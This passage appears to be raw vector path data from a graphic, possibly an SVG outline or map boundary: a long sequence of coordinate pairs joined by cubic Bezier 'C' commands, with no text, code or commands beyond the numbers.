144612.00 36172.00C144580.00 36172.00 144548.00 36172.00 144516.00 36172.00C144516.00 36182.67 144516.00 36193.33 144516.00 36204.00C144505.33 36204.00 144494.67 36204.00 144484.00 36204.00C144484.00 36236.33 144484.00 36268.67 144484.00 36301.00C144505.33 36258.00 144526.67 36215.00 144548.00 36172.00C144558.67 36182.67 144569.33 36193.33 144580.00 36204.00C144590.67 36193.33 144601.33 36182.67 144612.00 36172.00C144622.67 36139.67 144633.33 36107.33 144644.00 36075.00C144665.67 36053.67 144687.33 36032.33 144709.00 36011.00C144709.00 36021.67 144709.00 36032.33 144709.00 36043.00C144698.00 36064.67 144687.00 36086.33 144676.00 36108.00C144687.00 36118.67 144698.00 36129.33 144709.00 36140.00C144698.00 36129.33 144687.00 36118.67 144676.00 36108.00C144687.00 36075.67 144698.00 36043.33 144709.00 36011.00C144698.00 35989.67 144687.00 35968.33 144676.00 35947.00C144676.00 35936.33 144676.00 35925.67 144676.00 35915.00C144687.00 35915.00 144698.00 35915.00 144709.00 35915.00C144709.00 35904.33 144709.00 35893.67 144709.00 35883.00C144719.67 35883.00 144730.33 35883.00 144741.00 35883.00C144719.33 35872.00 144697.67 35861.00 144676.00 35850.00C144676.00 35828.67 144676.00 35807.33 144676.00 35786.00C144697.67 35796.67 144719.33 35807.33 144741.00 35818.00C144773.00 35818.00 144805.00 35818.00 144837.00 35818.00C144880.00 35850.33 144923.00 35882.67 144966.00 35915.00C144955.33 35925.67 144944.67 35936.33 144934.00 35947.00C144923.00 35936.33 144912.00 35925.67 144901.00 35915.00C144858.29 35979.46 144815.46 36043.86 144772.82 36108.36C144762.21 36129.57 144751.61 36150.79 144741.00 36172.00C144762.33 36215.00 144783.67 36258.00 144805.00 36301.00C144794.33 36311.67 144783.67 36322.33 144773.00 36333.00C144794.33 36322.33 144815.67 36311.67 144837.00 36301.00C144847.67 36290.00 144858.33 36279.00 144869.00 36268.00C144858.33 36268.00 144847.67 36268.00 144837.00 36268.00C144837.00 36225.33 144837.00 36182.67 144837.00 36140.00C144880.00 36107.67 144923.00 36075.33 144966.00 36043.00C144987.33 36053.67 145008.67 36064.33 145030.00 36075.00C145030.00 36086.00 145030.00 36097.00 145030.00 36108.00C144987.00 36129.33 144944.00 36150.67 144901.00 36172.00C144912.00 36193.33 144923.00 36214.67 144934.00 36236.00C144923.00 36246.67 144912.00 36257.33 144901.00 36268.00C144890.33 36268.00 144879.67 36268.00 144869.00 36268.00C144890.67 36300.33 144912.33 36332.67 144934.00 36365.00C144934.00 36386.33 144934.00 36407.67 144934.00 36429.00C144955.33 36450.67 144976.67 36472.33 144998.00 36494.00C145019.33 36483.00 145040.67 36472.00 145062.00 36461.00C145083.67 36439.67 145105.33 36418.33 145127.00 36397.00C145137.67 36375.67 145148.33 36354.33 145159.00 36333.00C145169.67 36322.33 145180.33 36311.67 145191.00 36301.00C145212.33 36322.33 145233.67 36343.67 145255.00 36365.00C145255.00 36386.33 145255.00 36407.67 145255.00 36429.00C145222.87 36461.39 145190.88 36493.94 145158.67 36526.22C145126.45 36547.48 145094.22 36568.74 145062.00 36590.00C145051.33 36590.00 145040.67 36590.00 145030.00 36590.00C145008.67 36611.33 144987.33 36632.67 144966.00 36654.00C144955.33 36654.00 144944.67 36654.00 144934.00 36654.00C144923.00 36664.67 144912.00 36675.33 144901.00 36686.00C144912.00 36675.33 144923.00 36664.67 144934.00 36654.00C144944.67 36664.67 144955.33 36675.33 144966.00 36686.00C144976.67 36675.33 144987.33 36664.67 144998.00 36654.00C145019.33 36654.00 145040.67 36654.00 145062.00 36654.00C145062.00 36686.33 145062.00 36718.67 145062.00 36751.00C145072.67 36761.67 145083.33 36772.33 145094.00 36783.00C145094.00 36772.33 145094.00 36761.67 145094.00 36751.00C145083.33 36729.33 145072.67 36707.67 145062.00 36686.00C145105.00 36664.67 145148.00 36643.33 145191.00 36622.00C145191.00 36643.33 145191.00 36664.67 145191.00 36686.00C145201.67 36675.33 145212.33 36664.67 145223.00 36654.00C145223.00 36664.67 145223.00 36675.33 145223.00 36686.00C145233.67 36697.00 145244.33 36708.00 145255.00 36719.00C145255.00 36676.00 145255.00 36633.00 145255.00 36590.00C145265.67 36590.00 145276.33 36590.00 145287.00 36590.00C145298.00 36600.67 145309.00 36611.33 145320.00 36622.00C145341.33 36686.33 145362.67 36750.67 145384.00 36815.00C145405.33 36836.33 145426.67 36857.67 145448.00 36879.00C145448.00 36922.00 145448.00 36965.00 145448.00 37008.00C145426.67 36997.33 145405.33 36986.67 145384.00 36976.00C145384.00 36954.33 145384.00 36932.67 145384.00 36911.00C145373.33 36922.00 145362.67 36933.00 145352.00 36944.00C145341.33 36933.00 145330.67 36922.00 145320.00 36911.00C145309.00 36922.00 145298.00 36933.00 145287.00 36944.00C145287.00 36954.67 145287.00 36965.33 145287.00 36976.00C145298.00 36965.33 145309.00 36954.67 145320.00 36944.00C145330.79 36954.72 145341.45 36965.60 145352.33 36976.22C145384.22 36997.48 145416.11 37018.74 145448.00 37040.00C145437.33 37061.33 145426.67 37082.67 145416.00 37104.00C145426.67 37093.33 145437.33 37082.67 145448.00 37072.00C145458.67 37072.00 145469.33 37072.00 145480.00 37072.00C145480.00 37104.33 145480.00 37136.67 145480.00 37169.00C145458.67 37179.67 145437.33 37190.33 145416.00 37201.00C145437.33 37222.33 145458.67 37243.67 145480.00 37265.00C145490.67 37265.00 145501.33 37265.00 145512.00 37265.00C145523.00 37254.33 145534.00 37243.67 145545.00 37233.00C145544.91 37243.79 145545.17 37254.63 145544.87 37265.38C145533.91 37297.58 145522.96 37329.79 145512.00 37362.00C145480.00 37372.67 145448.00 37383.33 145416.00 37394.00C145405.33 37404.67 145394.67 37415.33 145384.00 37426.00C145384.00 37565.33 145384.00 37704.67 145384.00 37844.00C145405.33 37833.33 145426.67 37822.67 145448.00 37812.00C145480.33 37822.67 145512.67 37833.33 145545.00 37844.00C145555.90 37854.80 145566.61 37865.82 145577.63 37876.48C145620.09 37908.65 145662.54 37940.83 145705.00 37973.00C145715.67 37994.33 145726.33 38015.67 145737.00 38037.00C145726.33 38037.00 145715.67 38037.00 145705.00 38037.00C145694.33 38058.33 145683.67 38079.67 145673.00 38101.00C145683.67 38090.33 145694.33 38079.67 145705.00 38069.00C145726.67 38069.00 145748.33 38069.00 145770.00 38069.00C145791.33 38101.00 145812.67 38133.00 145834.00 38165.00C145855.33 38176.00 145876.67 38187.00 145898.00 38198.00C145876.67 38208.67 145855.33 38219.33 145834.00 38230.00C145834.00 38240.67 145834.00 38251.33 145834.00 38262.00C145823.33 38262.00 145812.67 38262.00 145802.00 38262.00C145802.00 38251.33 145802.00 38240.67 145802.00 38230.00C145802.00 38251.33 145802.00 38272.67 145802.00 38294.00C145823.33 38283.33 145844.67 38272.67 145866.00 38262.00C145866.00 38251.33 145866.00 38240.67 145866.00 38230.00C145876.67 38240.67 145887.33 38251.33 145898.00 38262.00C145898.00 38294.00 145898.00 38326.00 145898.00 38358.00C145919.67 38411.67 145941.33 38465.33 145963.00 38519.00C145952.00 38508.33 145941.00 38497.67 145930.00 38487.00C145919.33 38508.33 145908.67 38529.67 145898.00 38551.00C145908.67 38540.33 145919.33 38529.67 145930.00 38519.00C145951.67 38519.00 145973.33 38519.00 145995.00 38519.00C146027.00 38594.00 146059.00 38669.00 146091.00 38744.00C146080.33 38754.67 146069.67 38765.33 146059.00 38776.00C146069.67 38787.00 146080.33 38798.00 146091.00 38809.00C146059.00 38841.00 146027.00 38873.00 145995.00 38905.00C145984.33 38894.33 145973.67 38883.67 145963.00 38873.00C145930.67 38883.67 145898.33 38894.33 145866.00 38905.00C145898.33 38905.00 145930.67 38905.00 145963.00 38905.00C145984.33 38926.33 146005.67 38947.67 146027.00 38969.00C146027.00 38979.67 146027.00 38990.33 146027.00 39001.00C146016.15 39022.87 146005.56 39044.88 145994.55 39066.66C145973.04 39098.44 145951.52 39130.22 145930.00 39162.00C145908.67 39172.67 145887.33 39183.33 145866.00 39194.00C145866.00 39183.33 145866.00 39172.67 145866.00 39162.00C145844.67 39162.00 145823.33 39162.00 145802.00 39162.00C145866.33 39237.00 145930.67 39312.00 145995.00 39387.00C146005.67 39387.00 146016.33 39387.00 146027.00 39387.00C146091.33 39462.00 146155.67 39537.00 146220.00 39612.00C146241.33 39601.33 146262.67 39590.67 146284.00 39580.00C146294.81 39569.31 146305.42 39558.34 146316.36 39547.82C146337.90 39537.22 146359.45 39526.61 146381.00 39516.00C146434.33 39516.00 146487.67 39516.00 146541.00 39516.00C146594.67 39505.33 146648.33 39494.67 146702.00 39484.00C146712.67 39473.33 146723.33 39462.67 146734.00 39452.00C146777.00 39441.00 146820.00 39430.00 146863.00 39419.00C146906.25 39397.27 146949.62 39375.79 146993.07 39354.47C147035.38 39333.31 147077.69 39312.15 147120.00 39291.00C147109.33 39280.33 147098.67 39269.67 147088.00 39259.00C147109.33 39259.00 147130.67 39259.00 147152.00 39259.00C147152.00 39248.33 147152.00 39237.67 147152.00 39227.00C147184.33 39216.00 147216.67 39205.00 147249.00 39194.00C147249.00 39205.00 147249.00 39216.00 147249.00 39227.00C147249.00 39216.00 147249.00 39205.00 147249.00 39194.00C147259.67 39183.33 147270.33 39172.67 147281.00 39162.00C147291.67 39172.67 147302.33 39183.33 147313.00 39194.00C147313.00 39183.33 147313.00 39172.67 147313.00 39162.00C147323.67 39172.67 147334.33 39183.33 147345.00 39194.00C147334.33 39194.00 147323.67 39194.00 147313.00 39194.00C147323.67 39205.00 147334.33 39216.00 147345.00 39227.00C147355.67 39216.00 147366.33 39205.00 147377.00 39194.00C147377.00 39205.00 147377.00 39216.00 147377.00 39227.00C147387.67 39216.00 147398.33 39205.00 147409.00 39194.00C147398.33 39183.33 147387.67 39172.67 147377.00 39162.00C147355.67 39162.00 147334.33 39162.00 147313.00 39162.00C147313.00 39151.33 147313.00 39140.67 147313.00 39130.00C147356.13 39130.04 147399.27 39129.91 147442.39 39130.07C147506.60 39140.71 147570.80 39151.36 147635.00 39162.00C147635.00 39151.33 147635.00 39140.67 147635.00 39130.00C147645.67 39119.33 147656.33 39108.67 147667.00 39098.00C147667.00 39108.67 147667.00 39119.33 147667.00 39130.00C147656.33 39140.67 147645.67 39151.33 147635.00 39162.00C147645.67 39215.67 147656.33 39269.33 147667.00 39323.00C147667.00 39333.67 147667.00 39344.33 147667.00 39355.00C147656.33 39355.00 147645.67 39355.00 147635.00 39355.00C147624.00 39344.33 147613.00 39333.67 147602.00 39323.00C147602.00 39333.67 147602.00 39344.33 147602.00 39355.00C147591.33 39355.00 147580.67 39355.00 147570.00 39355.00C147559.33 39333.67 147548.67 39312.33 147538.00 39291.00C147527.33 39280.33 147516.67 39269.67 147506.00 39259.00C147516.67 39269.67 147527.33 39280.33 147538.00 39291.00C147538.00 39301.67 147538.00 39312.33 147538.00 39323.00C147516.67 39323.00 147495.33 39323.00 147474.00 39323.00C147474.00 39312.33 147474.00 39301.67 147474.00 39291.00C147463.33 39301.67 147452.67 39312.33 147442.00 39323.00C147431.00 39312.33 147420.00 39301.67 147409.00 39291.00C147409.00 39301.67 147409.00 39312.33 147409.00 39323.00C147430.67 39323.00 147452.33 39323.00 147474.00 39323.00C147463.33 39333.67 147452.67 39344.33 147442.00 39355.00C147399.00 39365.67 147356.00 39376.33 147313.00 39387.00C147302.19 39397.69 147291.58 39408.65 147280.65 39419.18C147259.43 39430.12 147238.22 39441.06 147217.00 39452.00C147227.67 39452.00 147238.33 39452.00 147249.00 39452.00C147270.33 39441.00 147291.67 39430.00 147313.00 39419.00C147313.00 39408.33 147313.00 39397.67 147313.00 39387.00C147334.33 39397.67 147355.67 39408.33 147377.00 39419.00C147409.33 39419.00 147441.67 39419.00 147474.00 39419.00C147452.33 39419.00 147430.67 39419.00 147409.00 39419.00C147420.02 39430.14 147431.33 39441.09 147442.18 39452.36C147452.79 39473.57 147463.39 39494.79 147474.00 39516.00C147484.67 39483.67 147495.33 39451.33 147506.00 39419.00C147538.13 39419.03 147570.27 39418.93 147602.39 39419.05C147688.26 39430.03 147774.13 39441.02 147860.00 39452.00C147892.00 39473.33 147924.00 39494.67 147956.00 39516.00C147924.00 39623.00 147892.00 39730.00 147860.00 39837.00C147827.67 39890.67 147795.33 39944.33 147763.00 39998.00C147795.33 39987.33 147827.67 39976.67 147860.00 39966.00C147892.00 39912.33 147924.00 39858.67 147956.00 39805.00C148009.67 39751.67 148063.33 39698.33 148117.00 39645.00C148159.67 39569.67 148202.33 39494.33 148245.00 39419.00C148256.00 39376.33 148267.00 39333.67 148278.00 39291.00C148320.67 39237.33 148363.33 39183.67 148406.00 39130.00C148416.67 39108.67 148427.33 39087.33 148438.00 39066.00C148491.79 39022.95 148545.50 38979.77 148599.34 38936.80C148652.89 38904.86 148706.45 38872.93 148760.00 38841.00C148770.67 38841.00 148781.33 38841.00 148792.00 38841.00C148792.00 38851.67 148792.00 38862.33 148792.00 38873.00C148802.67 38873.00 148813.33 38873.00 148824.00 38873.00C148834.81 38883.69 148845.42 38894.66 148856.36 38905.18C148877.90 38915.78 148899.45 38926.39 148921.00 38937.00C148931.67 38947.67 148942.33 38958.33 148953.00 38969.00C148931.67 38947.67 148910.33 38926.33 148889.00 38905.00C148942.33 38787.00 148995.67 38669.00 149049.00 38551.00C149071.29 38540.11 149093.46 38528.95 149115.83 38518.22C149190.22 38486.48 149264.61 38454.74 149339.00 38423.00C149392.33 38369.33 149445.67 38315.67 149499.00 38262.00C149531.33 38251.33 149563.67 38240.67 149596.00 38230.00C149639.10 38251.42 149682.27 38272.73 149725.33 38294.22C149757.22 38315.48 149789.11 38336.74 149821.00 38358.00C149896.00 38519.00 149971.00 38680.00 150046.00 38841.00C150067.33 38873.00 150088.67 38905.00 150110.00 38937.00C150131.67 38947.67 150153.33 38958.33 150175.00 38969.00C150185.67 38947.67 150196.33 38926.33 150207.00 38905.00C150260.91 38872.89 150314.76 38840.67 150368.71 38808.64C150389.80 38797.76 150410.90 38786.88 150432.00 38776.00C150485.67 38776.00 150539.33 38776.00 150593.00 38776.00C150625.00 38765.33 150657.00 38754.67 150689.00 38744.00C150699.67 38744.00 150710.33 38744.00 150721.00 38744.00C150721.00 38754.67 150721.00 38765.33 150721.00 38776.00C150731.79 38776.07 150742.62 38775.87 150753.39 38776.10C150796.26 38787.07 150839.13 38798.03 150882.00 38809.00C150946.33 38809.00 151010.67 38809.00 151075.00 38809.00C151257.33 38862.33 151439.67 38915.67 151622.00 38969.00C151654.13 38990.70 151686.17 39012.57 151718.36 39034.16C151814.69 39076.85 151911.05 39119.46 152007.35 39162.19C152147.05 39237.35 152286.69 39312.62 152426.42 39387.72C152469.08 39409.17 152511.68 39430.76 152554.38 39452.13C152618.69 39473.50 152683.08 39494.71 152747.35 39516.19C152908.38 39602.02 153069.36 39687.94 153230.42 39773.71C153315.62 39816.48 153400.81 39859.24 153486.00 39902.00C153539.67 39902.00 153593.33 39902.00 153647.00 39902.00C153625.67 39912.67 153604.33 39923.33 153583.00 39934.00C153615.00 39934.00 153647.00 39934.00 153679.00 39934.00C153690.00 39923.33 153701.00 39912.67 153712.00 39902.00C153701.00 39880.33 153690.00 39858.67 153679.00 39837.00C153668.33 39848.00 153657.67 39859.00 153647.00 39870.00C153647.00 39859.00 153647.00 39848.00 153647.00 39837.00C153657.67 39826.33 153668.33 39815.67 153679.00 39805.00C153700.67 39848.00 153722.33 39891.00 153744.00 39934.00C153744.00 39955.33 153744.00 39976.67 153744.00 39998.00C153765.33 40008.67 153786.67 40019.33 153808.00 40030.00C153851.00 40030.00 153894.00 40030.00 153937.00 40030.00C153947.67 40073.00 153958.33 40116.00 153969.00 40159.00C153958.33 40169.67 153947.67 40180.33 153937.00 40191.00C153926.00 40223.33 153915.00 40255.67 153904.00 40288.00C153925.67 40298.67 153947.33 40309.33 153969.00 40320.00C153958.33 40309.33 153947.67 40298.67 153937.00 40288.00C153958.33 40255.67 153979.67 40223.33 154001.00 40191.00C153990.33 40137.33 153979.67 40083.67 153969.00 40030.00C153947.33 40008.67 153925.67 39987.33 153904.00 39966.00C153882.67 39976.67 153861.33 39987.33 153840.00 39998.00C153829.33 39987.33 153818.67 39976.67 153808.00 39966.00C153808.00 39955.33 153808.00 39944.67 153808.00 39934.00C153829.33 39934.00 153850.67 39934.00 153872.00 39934.00C153872.00 39923.33 153872.00 39912.67 153872.00 39902.00C153861.33 39902.00 153850.67 39902.00 153840.00 39902.00C153829.33 39891.33 153818.67 39880.67 153808.00 39870.00C153786.67 39880.67 153765.33 39891.33 153744.00 39902.00C153733.33 39891.33 153722.67 39880.67 153712.00 39870.00C153722.67 39859.00 153733.33 39848.00 153744.00 39837.00C153754.78 39837.09 153765.63 39836.83 153776.38 39837.13C153808.25 39848.09 153840.13 39859.04 153872.00 39870.00C153979.33 39987.67 154086.67 40105.33 154194.00 40223.00C154269.63 40277.16 154345.34 40331.20 154420.91 40385.43C154463.27 40417.29 154505.64 40449.14 154548.00 40481.00C154580.00 40481.00 154612.00 40481.00 154644.00 40481.00C154644.00 40491.67 154644.00 40502.33 154644.00 40513.00C154708.33 40502.33 154772.67 40491.67 154837.00 40481.00C154869.11 40523.75 154901.10 40566.60 154933.28 40609.28C154943.85 40619.85 154954.43 40630.43 154965.00 40641.00C154954.33 40609.00 154943.67 40577.00 154933.00 40545.00C154954.67 40545.00 154976.33 40545.00 154998.00 40545.00C155062.33 40566.33 155126.67 40587.67 155191.00 40609.00C155287.33 40619.67 155383.67 40630.33 155480.00 40641.00C155544.33 40609.00 155608.67 40577.00 155673.00 40545.00C155683.67 40534.33 155694.33 40523.67 155705.00 40513.00C155715.67 40513.00 155726.33 40513.00 155737.00 40513.00C155758.33 40523.67 155779.67 40534.33 155801.00 40545.00C155865.33 40545.00 155929.67 40545.00 155994.00 40545.00C156037.00 40502.00 156080.00 40459.00 156123.00 40416.00C156144.33 40416.00 156165.67 40416.00 156187.00 40416.00C156187.00 40448.33 156187.00 40480.67 156187.00 40513.00C156198.00 40534.33 156209.00 40555.67 156220.00 40577.00C156220.00 40566.33 156220.00 40555.67 156220.00 40545.00C156209.00 40545.00 156198.00 40545.00 156187.00 40545.00C156198.00 40534.33 156209.00 40523.67 156220.00 40513.00C156305.80 40523.65 156391.59 40534.43 156477.40 40545.00C156552.27 40545.00 156627.13 40545.00 156702.00 40545.00C156744.67 40534.33 156787.33 40523.67 156830.00 40513.00C156883.67 40513.00 156937.33 40513.00 156991.00 40513.00C156991.00 40523.67 156991.00 40534.33 156991.00 40545.00C156980.33 40545.00 156969.67 40545.00 156959.00 40545.00C156959.00 40555.67 156959.00 40566.33 156959.00 40577.00C157002.11 40652.24 157045.32 40727.43 157088.36 40802.71C157098.90 40823.81 157109.45 40844.90 157120.00 40866.00C157141.33 40823.33 157162.67 40780.67 157184.00 40738.00C157173.33 40716.33 157162.67 40694.67 157152.00 40673.00C157173.33 40662.33 157194.67 40651.67 157216.00 40641.00C157259.00 40651.67 157302.00 40662.33 157345.00 40673.00C157591.33 40673.00 157837.67 40673.00 158084.00 40673.00C158084.00 40684.00 158084.00 40695.00 158084.00 40706.00C158073.33 40695.00 158062.67 40684.00 158052.00 40673.00C158073.67 40705.33 158095.33 40737.67 158117.00 40770.00C158085.84 40800.79 158054.37 40831.26 158023.73 40862.57C158001.15 40885.38 157978.58 40908.19 157956.00 40931.00C157956.00 40984.33 157956.00 41037.67 157956.00 41091.00C157966.67 41112.67 157977.33 41134.33 157988.00 41156.00C157988.00 41166.67 157988.00 41177.33 157988.00 41188.00C157955.67 41198.67 157923.33 41209.33 157891.00 41220.00C157890.94 41252.46 157891.13 41284.95 157890.90 41317.39C157880.27 41359.92 157869.63 41402.46 157859.00 41445.00C157880.72 41466.46 157902.61 41487.78 157924.22 41509.33C157945.59 41541.63 157966.80 41574.07 157988.28 41606.28C157999.09 41616.98 158009.70 41627.92 158020.64 41638.47C158063.50 41670.43 158106.48 41702.25 158149.28 41734.29C158159.85 41745.19 158170.43 41756.10 158181.00 41767.00C158191.67 41799.00 158202.33 41831.00 158213.00 41863.00C158181.00 41895.33 158149.00 41927.67 158117.00 41960.00C158116.89 41970.92 158117.21 41981.89 158116.84 41992.78C158105.89 42046.19 158094.95 42099.59 158084.00 42153.00C158062.57 42163.77 158041.05 42174.37 158019.68 42185.24C157976.79 42217.16 157933.89 42249.08 157891.00 42281.00C157880.23 42302.43 157869.63 42323.95 157858.76 42345.32C157826.84 42388.21 157794.92 42431.11 157763.00 42474.00C157720.10 42495.54 157677.10 42516.87 157634.00 42538.00C157623.33 42548.67 157612.67 42559.33 157602.00 42570.00C157602.00 42613.00 157602.00 42656.00 157602.00 42699.00C157580.67 42720.33 157559.33 42741.67 157538.00 42763.00C157538.00 42827.33 157538.00 42891.67 157538.00 42956.00C157527.33 42956.00 157516.67 42956.00 157506.00 42956.00C157484.33 42945.33 157462.67 42934.67 157441.00 42924.00C157430.33 42924.00 157419.67 42924.00 157409.00 42924.00C157398.29 42945.60 157387.29 42967.08 157376.75 42988.76C157366.17 43020.84 157355.58 43052.92 157345.00 43085.00C157345.00 43095.67 157345.00 43106.33 157345.00 43117.00C157334.33 43117.00 157323.67 43117.00 157313.00 43117.00C157291.33 43149.33 157269.67 43181.67 157248.00 43214.00C157226.67 43224.67 157205.33 43235.33 157184.00 43246.00C157151.87 43246.05 157119.72 43245.90 157087.61 43246.08C157034.07 43256.72 156980.54 43267.36 156927.00 43278.00C156905.67 43288.67 156884.33 43299.33 156863.00 43310.00C156809.33 43310.00 156755.67 43310.00 156702.00 43310.00C156669.61 43341.94 156637.06 43373.72 156605.00 43406.00C156605.00 43427.67 156605.00 43449.33 156605.00 43471.00C156658.67 43471.00 156712.33 43471.00 156766.00 43471.00C156766.00 43503.00 156766.00 43535.00 156766.00 43567.00C156744.67 43567.00 156723.33 43567.00 156702.00 43567.00C156691.31 43577.81 156680.34 43588.42 156669.82 43599.36C156658.88 43620.90 156647.94 43642.45 156637.00 43664.00C156637.00 43696.00 156637.00 43728.00 156637.00 43760.00C156615.67 43770.67 156594.33 43781.33 156573.00 43792.00C156551.67 43835.00 156530.33 43878.00 156509.00 43921.00C156455.33 43931.67 156401.67 43942.33 156348.00 43953.00C156348.00 43963.67 156348.00 43974.33 156348.00 43985.00C156326.67 43995.67 156305.33 44006.33 156284.00 44017.00C156294.67 44049.33 156305.33 44081.67 156316.00 44114.00C156305.33 44135.33 156294.67 44156.67 156284.00 44178.00C156284.00 44167.33 156284.00 44156.67 156284.00 44146.00C156273.33 44156.67 156262.67 44167.33 156252.00 44178.00C156198.33 44167.33 156144.67 44156.67 156091.00 44146.00C156037.11 44167.47 155983.14 44188.78 155929.29 44210.36C155908.19 44220.90 155887.10 44231.45 155866.00 44242.00C155855.33 44242.00 155844.67 44242.00 155834.00 44242.00C155791.00 44220.67 155748.00 44199.33 155705.00 44178.00C155694.33 44167.33 155683.67 44156.67 155673.00 44146.00C155630.00 44178.00 155587.00 44210.00 155544.00 44242.00C155522.67 44242.00 155501.33 44242.00 155480.00 44242.00C155448.00 44231.33 155416.00 44220.67 155384.00 44210.00C155384.00 44231.67 155384.00 44253.33 155384.00 44275.00C155373.00 44296.33 155362.00 44317.67 155351.00 44339.00C155329.67 44349.67 155308.33 44360.33 155287.00 44371.00C155276.33 44360.33 155265.67 44349.67 155255.00 44339.00C155255.00 44317.67 155255.00 44296.33 155255.00 44275.00C155233.67 44275.00 155212.33 44275.00 155191.00 44275.00C155169.33 44307.00 155147.67 44339.00 155126.00 44371.00C155104.67 44381.67 155083.33 44392.33 155062.00 44403.00C155040.67 44403.00 155019.33 44403.00 154998.00 44403.00C154976.33 44381.67 154954.67 44360.33 154933.00 44339.00C154933.00 44306.67 154933.00 44274.33 154933.00 44242.00C154922.33 44242.00 154911.67 44242.00 154901.00 44242.00C154890.33 44231.33 154879.67 44220.67 154869.00 44210.00C154858.33 44231.67 154847.67 44253.33 154837.00 44275.00C154837.00 44307.00 154837.00 44339.00 154837.00 44371.00C154804.67 44392.33 154772.33 44413.67 154740.00 44435.00C154729.33 44456.67 154718.67 44478.33 154708.00 44500.00C154708.00 44532.00 154708.00 44564.00 154708.00 44596.00C154665.23 44649.75 154622.55 44703.58 154579.72 44757.28C154558.14 44778.52 154536.57 44799.76 154515.00 44821.00C154493.46 44831.85 154471.79 44842.45 154450.34 44853.45C154418.56 44874.96 154386.78 44896.48 154355.00 44918.00C154344.00 44950.00 154333.00 44982.00 154322.00 45014.00C154322.00 45024.67 154322.00 45035.33 154322.00 45046.00C154311.33 45067.67 154300.67 45089.33 154290.00 45111.00C154268.67 45111.00 154247.33 45111.00 154226.00 45111.00C154193.56 45153.75 154161.23 45196.59 154128.72 45239.28C154096.81 45271.52 154064.91 45303.76 154033.00 45336.00C154022.33 45357.33 154011.67 45378.67 154001.00 45400.00C154001.00 45421.33 154001.00 45442.67 154001.00 45464.00C154022.33 45507.00 154043.67 45550.00 154065.00 45593.00C154065.00 45614.33 154065.00 45635.67 154065.00 45657.00C154054.33 45678.67 154043.67 45700.33 154033.00 45722.00C154022.33 45732.67 154011.67 45743.33 154001.00 45754.00C154011.74 45786.11 154022.35 45818.28 154033.18 45850.36C154043.79 45871.57 154054.39 45892.79 154065.00 45914.00C154045.70 45934.00 154026.32 45953.91 154006.55 45973.45C154003.31 45976.55 154000.07 45979.66 153998.13 45983.78C153934.75 46089.18 153871.38 46194.59 153808.00 46300.00C153808.00 46364.33 153808.00 46428.67 153808.00 46493.00C153786.54 46514.39 153765.20 46535.92 153743.68 46557.23C153668.78 46610.82 153593.89 46664.41 153519.00 46718.00C153500.85 46771.30 153482.64 46824.58 153464.98 46878.05C153461.32 46889.03 153457.66 46900.02 153454.00 46911.00C153443.33 46911.00 153432.67 46911.00 153422.00 46911.00C153411.33 46900.33 153400.67 46889.67 153390.00 46879.00C153368.67 46879.00 153347.33 46879.00 153326.00 46879.00C153304.33 46943.33 153282.67 47007.67 153261.00 47072.00C153250.33 47082.67 153239.67 47093.33 153229.00 47104.00C153207.67 47168.33 153186.33 47232.67 153165.00 47297.00C153165.00 47329.00 153165.00 47361.00 153165.00 47393.00C153143.67 47414.67 153122.33 47436.33 153101.00 47458.00C153068.67 47468.67 153036.33 47479.33 153004.00 47490.00C152993.31 47500.81 152982.34 47511.42 152971.82 47522.36C152961.21 47543.57 152950.61 47564.79 152940.00 47586.00C152972.00 47607.67 153004.00 47629.33 153036.00 47651.00C153036.00 47661.67 153036.00 47672.33 153036.00 47683.00C152971.67 47683.00 152907.33 47683.00 152843.00 47683.00C152821.43 47704.66 152799.68 47726.15 152778.22 47747.91C152714.15 47822.60 152650.07 47897.30 152586.00 47972.00C152575.33 48004.33 152564.67 48036.67 152554.00 48069.00C152554.05 48101.13 152553.90 48133.28 152554.08 48165.39C152564.72 48218.93 152575.36 48272.46 152586.00 48326.00C152586.00 48347.33 152586.00 48368.67 152586.00 48390.00C152618.33 48443.67 152650.67 48497.33 152683.00 48551.00C152683.00 48636.67 152683.00 48722.33 152683.00 48808.00C152704.33 48808.00 152725.67 48808.00 152747.00 48808.00C152768.33 48797.33 152789.67 48786.67 152811.00 48776.00C152821.67 48776.00 152832.33 48776.00 152843.00 48776.00C152843.00 48786.67 152843.00 48797.33 152843.00 48808.00C152907.33 48851.00 152971.67 48894.00 153036.00 48937.00C153057.67 48958.33 153079.33 48979.67 153101.00 49001.00C153090.00 49044.00 153079.00 49087.00 153068.00 49130.00C153079.00 49151.33 153090.00 49172.67 153101.00 49194.00C153133.00 49215.33 153165.00 49236.67 153197.00 49258.00C153197.00 49290.33 153197.00 49322.67 153197.00 49355.00C153186.33 49355.00 153175.67 49355.00 153165.00 49355.00C153165.00 49387.00 153165.00 49419.00 153165.00 49451.00C153143.67 49483.33 153122.33 49515.67 153101.00 49548.00C153111.67 49590.67 153122.33 49633.33 153133.00 49676.00C153133.00 49687.00 153133.00 49698.00 153133.00 49709.00C153116.10 49742.79 153099.35 49776.66 153081.85 49810.14C153076.96 49819.39 153072.44 49828.87 153067.31 49837.97C153014.21 49912.65 152961.10 49987.32 152908.00 50062.00C152897.33 50072.67 152886.67 50083.33 152876.00 50094.00C152876.00 50104.67 152876.00 50115.33 152876.00 50126.00C152854.33 50137.00 152832.67 50148.00 152811.00 50159.00C152789.67 50180.33 152768.33 50201.67 152747.00 50223.00C152736.33 50244.33 152725.67 50265.67 152715.00 50287.00C152725.67 50308.67 152736.33 50330.33 152747.00 50352.00C152757.79 50362.72 152768.45 50373.60 152779.33 50384.22C152811.55 50405.48 152843.78 50426.74 152876.00 50448.00C152876.00 50469.33 152876.00 50490.67 152876.00 50512.00C152865.00 50533.67 152854.00 50555.33 152843.00 50577.00C152811.00 50609.00 152779.00 50641.00 152747.00 50673.00C152747.00 50705.33 152747.00 50737.67 152747.00 50770.00C152757.67 50802.00 152768.33 50834.00 152779.00 50866.00C152789.67 50866.00 152800.33 50866.00 152811.00 50866.00C152864.67 50919.67 152918.33 50973.33 152972.00 51027.00C152982.67 51059.00 152993.33 51091.00 153004.00 51123.00C153004.00 51176.67 153004.00 51230.33 153004.00 51284.00C153047.00 51327.00 153090.00 51370.00 153133.00 51413.00C153133.00 51423.67 153133.00 51434.33 153133.00 51445.00C153154.33 51466.33 153175.67 51487.67 153197.00 51509.00C153186.33 51562.67 153175.67 51616.33 153165.00 51670.00C153165.00 51691.33 153165.00 51712.67 153165.00 51734.00C153197.00 51809.00 153229.00 51884.00 153261.00 51959.00C153261.00 52023.33 153261.00 52087.67 153261.00 52152.00C153271.67 52152.00 153282.33 52152.00 153293.00 52152.00C153314.67 52184.33 153336.33 52216.67 153358.00 52249.00C153368.73 52313.45 153379.30 52377.95 153390.13 52442.38C153400.76 52474.39 153411.52 52506.36 